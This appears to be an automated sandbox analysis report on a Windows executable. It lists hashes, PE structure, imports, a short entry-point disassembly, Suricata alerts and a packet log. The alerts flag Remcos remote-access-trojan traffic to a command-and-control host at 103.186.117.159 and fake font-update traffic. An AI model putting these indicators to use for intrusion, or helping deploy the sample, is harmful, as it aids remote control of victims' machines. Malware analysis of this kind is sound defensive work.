SHA512:	c877cb2b51dbf234c5bca14f520d8bd42d8d5690e2f4f3d9ac07700e190fdbbbd4b52a6b0d1b71284f0b277f625d6b60f8f3b086ade1e7f7fc4347cf6af6e6df
SSDEEP:	24576:HZVgZqK0ycvp/WLq7frG1Pjc8sfe93uhoKg97y4zuaRacKHT7:Hri0HvELqW1PjKK3cg9XzuaReX
TLSH:	5C45F411E3B0F0F7D1B34539DF2A52E4693D6A2C2A1468772BA61A084F277907E3F15E
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	276ea3a6a6b7bfbf

Static PE Info

General

Entrypoint:	0x471804
Entrypoint Section:	.itext
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	496d9ab5600002558fd60544a4b5b68f

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 00470754h
call 00007F5EA191B031h
mov eax, dword ptr [0047D264h]
mov eax, dword ptr [eax]
call 00007F5EA196ACC5h
mov ecx, dword ptr [0047D174h]
mov eax, dword ptr [0047D264h]
mov eax, dword ptr [eax]
mov edx, dword ptr [004703ECh]
call 00007F5EA196ACC5h
mov eax, dword ptr [0047D264h]
mov eax, dword ptr [eax]
call 00007F5EA196AD39h
call 00007F5EA1919098h
lea eax, dword ptr [eax+00h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x82000	0x25f8	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x8e000	0xaaa00	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x87000	0x6bbc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x86000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x82700	0x5e8	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6f98c	0x6fa00	6ab7774c8901a80d5c3dc88773ff88ff	False	0.5257340075587906	data	6.557205887281596	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0x71000	0x84c	0xa00	f1fc9ea2c6631acfba33944b9296cbdb	False	0.5296875	data	5.609468715893446	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x72000	0xb3f0	0xb400	432aa6ccbb472918c8676a04fef565ce	False	0.098828125	data	2.0105427853738016	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0x7e000	0x36c4	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x82000	0x25f8	0x2600	82fa8fedebb0af610ab0bbe44dc413f0	False	0.32308799342105265	data	5.163147043665758	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x85000	0x34	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x86000	0x18	0x200	a3a3e9881b8860e96ddaaa8c82231fe5	False	0.05078125	data	0.2108262677871819	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x87000	0x6bbc	0x6c00	f0fe8ed1efa35b6f13b7682be6eec721	False	0.6506438078703703	data	6.688109543909572	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0x8e000	0xaaa00	0xaaa00	947b43a4b2bd7b49f0224eb17baf1c46	False	0.6128934867216117	data	7.263650531299735	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x8ec28	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"	English	United States	0.38636363636363635
RT_CURSOR	0x8ed5c	0x134	data	English	United States	0.4642857142857143
RT_CURSOR	0x8ee90	0x134	data	English	United States	0.4805194805194805
RT_CURSOR	0x8efc4	0x134	data	English	United States	0.38311688311688313
RT_CURSOR	0x8f0f8	0x134	data	English	United States	0.36038961038961037
RT_CURSOR	0x8f22c	0x134	data	English	United States	0.4090909090909091
RT_CURSOR	0x8f360	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	English	United States	0.4967532467532468
RT_BITMAP	0x8f494	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0x8f664	0x1e4	Device independent bitmap graphic, 36 x 19 x 4, image size 380	English	United States	0.46487603305785125
RT_BITMAP	0x8f848	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0x8fa18	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39870689655172414
RT_BITMAP	0x8fbe8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.4245689655172414
RT_BITMAP	0x8fdb8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5021551724137931
RT_BITMAP	0x8ff88	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5064655172413793
RT_BITMAP	0x90158	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0x90328	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5344827586206896
RT_BITMAP	0x904f8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0x906c8	0x99ce8	Device independent bitmap graphic, 772 x 272 x 24, image size 629952, resolution 2835 x 2835 px/m	English	United States	0.6101331445478673
RT_BITMAP	0x12a3b0	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128	English	United States	0.4870689655172414
RT_ICON	0x12a498	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.5610341151385928
RT_ICON	0x12b340	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0			0.4191908713692946
RT_ICON	0x12d8e8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0			0.4800656660412758
RT_ICON	0x12e990	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0			0.6099290780141844
RT_DIALOG	0x12edf8	0x52	data			0.7682926829268293
RT_DIALOG	0x12ee4c	0x52	data			0.7560975609756098
RT_STRING	0x12eea0	0x1cc	Targa image data - Color 99 x 107 x 32 +68 +111 "z"			0.532608695652174
RT_STRING	0x12f06c	0x1c8	data			0.5592105263157895
RT_STRING	0x12f234	0xcc	data			0.6764705882352942
RT_STRING	0x12f300	0x114	data			0.6086956521739131
RT_STRING	0x12f414	0x350	data			0.43514150943396224
RT_STRING	0x12f764	0x3a4	data			0.38197424892703863
RT_STRING	0x12fb08	0x370	data			0.4022727272727273
RT_STRING	0x12fe78	0x3cc	data			0.33539094650205764
RT_STRING	0x130244	0x214	data			0.49624060150375937
RT_STRING	0x130458	0xcc	data			0.6274509803921569
RT_STRING	0x130524	0x194	data			0.5643564356435643
RT_STRING	0x1306b8	0x3c4	data			0.3288381742738589
RT_STRING	0x130a7c	0x338	data			0.42961165048543687
RT_STRING	0x130db4	0x294	data			0.42424242424242425
RT_RCDATA	0x131048	0x10	data			1.5
RT_RCDATA	0x131058	0x4ade	JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 320x256, components 3			0.993791088385683
RT_RCDATA	0x135b38	0x2ec	data			0.7098930481283422
RT_RCDATA	0x135e24	0x21db	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 387x191, components 3			0.9350409599630783
RT_RCDATA	0x138000	0x483	Delphi compiled form 'Tfrm_about'			0.535064935064935
RT_GROUP_CURSOR	0x138484	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x138498	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x1384ac	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x1384c0	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x1384d4	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x1384e8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x1384fc	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_ICON	0x138510	0x3e	data			0.8709677419354839
RT_VERSION	0x138550	0x378	data			0.46734234234234234

Imports

DLL	Import
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
user32.dll	GetKeyboardType, DestroyWindow, LoadStringA, MessageBoxA, CharNextA
kernel32.dll	GetACP, Sleep, VirtualFree, VirtualAlloc, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, CompareStringA, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
user32.dll	CreateWindowExA, WindowFromPoint, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, SetWindowsHookExA, SetWindowPos, SetWindowPlacement, SetWindowLongW, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClassLongA, SetCapture, SetActiveWindow, SendMessageW, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageW, PeekMessageA, OffsetRect, OemToCharA, MessageBoxA, MapWindowPoints, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowUnicode, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageW, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongW, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMessagePos, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutNameA, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClipboardData, GetClientRect, GetClassLongA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EnumChildWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawEdge, DispatchMessageW, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerBuffA, CharLowerA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetWinMetaFileBits, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetEnhMetaFileBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SaveDC, RestoreDC, Rectangle, RectVisible, RealizePalette, Polyline, PlayEnhMetaFile, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits, GetTextMetricsA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetRgnBox, GetPixel, GetPaletteEntries, GetObjectA, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, ExcludeClipRect, DeleteObject, DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileA, BitBlt
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
kernel32.dll	lstrcpyA, WriteFile, WaitForSingleObject, VirtualQuery, VirtualAlloc, SizeofResource, SetThreadLocale, SetFilePointer, SetEvent, SetErrorMode, SetEndOfFile, ResetEvent, ReadFile, MulDiv, LockResource, LoadResource, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalFindAtomA, GlobalDeleteAtom, GlobalAddAtomA, GetVersionExA, GetVersion, GetTickCount, GetThreadLocale, GetStdHandle, GetProcAddress, GetModuleHandleW, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCPInfo, FreeResource, InterlockedExchange, FreeLibrary, FormatMessageA, FindResourceA, EnumCalendarInfoA, EnterCriticalSection, DeleteCriticalSection, CreateThread, CreateFileA, CreateEventA, CompareStringA, CloseHandle
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegFlushKey, RegCloseKey
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopy, VariantClear, VariantInit
comctl32.dll	_TrackMouseEvent, ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_DragShowNolock, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-26T08:12:05.411791+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.9	49831	103.186.117.159	56796	TCP
2024-11-26T08:12:14.259973+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49723	13.107.136.10	443	TCP
2024-11-26T08:12:16.780726+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49729	13.107.136.10	443	TCP
2024-11-26T08:12:22.042356+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49746	162.19.139.102	443	TCP
2024-11-26T08:12:51.132303+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.9	49763	103.186.117.159	56796	TCP
2024-11-26T08:13:14.034543+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.9	49813	103.186.117.159	13939	TCP
2024-11-26T08:13:37.080639+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.9	49823	103.186.117.159	56796	TCP
2024-11-26T08:13:59.329994+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.9	49824	103.186.117.159	13939	TCP
2024-11-26T08:14:22.399426+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.9	49825	103.186.117.159	56796	TCP
2024-11-26T08:14:45.018684+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.9	49826	103.186.117.159	13939	TCP
2024-11-26T08:15:08.284779+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.9	49827	103.186.117.159	56796	TCP
2024-11-26T08:15:30.463623+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.9	49828	103.186.117.159	13939	TCP
2024-11-26T08:15:53.927407+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.9	49829	103.186.117.159	56796	TCP
2024-11-26T08:16:16.567390+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.9	49830	103.186.117.159	13939	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 26, 2024 08:12:12.127943993 CET	49722	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:12.128010988 CET	443	49722	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:12.128087044 CET	49722	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:12.129893064 CET	49722	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:12.129949093 CET	443	49722	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:12.130003929 CET	49722	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:12.546781063 CET	49723	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:12.546828985 CET	443	49723	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:12.546886921 CET	49723	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:12.613907099 CET	49723	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:12.613931894 CET	443	49723	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:14.259845018 CET	443	49723	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:14.259973049 CET	49723	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:14.264110088 CET	49723	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:14.264122963 CET	443	49723	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:14.264417887 CET	443	49723	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:14.314652920 CET	49723	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:14.361742020 CET	49723	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:14.403342962 CET	443	49723	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:15.219800949 CET	443	49723	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:15.219854116 CET	443	49723	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:15.219888926 CET	49723	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:15.219918013 CET	443	49723	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:15.219958067 CET	49723	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:15.224586010 CET	443	49723	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:15.224649906 CET	443	49723	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:15.224692106 CET	49723	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:15.247247934 CET	49723	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:15.247283936 CET	443	49723	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:15.247303009 CET	49723	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:15.247311115 CET	443	49723	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:15.252314091 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:15.252353907 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:15.252477884 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:15.252716064 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:15.252732038 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:16.779998064 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:16.780725956 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:16.780742884 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:16.782399893 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:16.782406092 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:17.844378948 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:17.844408989 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:17.844433069 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:17.844471931 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:17.844499111 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:17.844516993 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:17.886639118 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:17.888650894 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:17.888668060 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:17.888758898 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:17.888773918 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:17.934633970 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.031537056 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.031552076 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.031563997 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.031614065 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.031668901 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.031683922 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.055325031 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.055332899 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.055422068 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.055448055 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.055470943 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.079124928 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.079134941 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.079277992 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.079297066 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.102842093 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.102853060 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.102874994 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.102968931 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.102996111 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.103046894 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.142637014 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.211639881 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.211652040 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.211673021 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.211707115 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.211766958 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.223876953 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.223885059 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.223902941 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.223947048 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.223990917 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.224000931 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.236949921 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.236958981 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.237019062 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.237034082 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.252742052 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.252751112 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.252787113 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.252821922 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.252839088 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.252861977 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.264379025 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.264388084 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.264405012 CET	443	49729	13.107.136.10	192.168.2.9
Nov 26, 2024 08:12:18.264440060 CET	49729	443	192.168.2.9	13.107.136.10
Nov 26, 2024 08:12:18.264457941 CET	443	49729	13.107.136.10	192.168.2.9
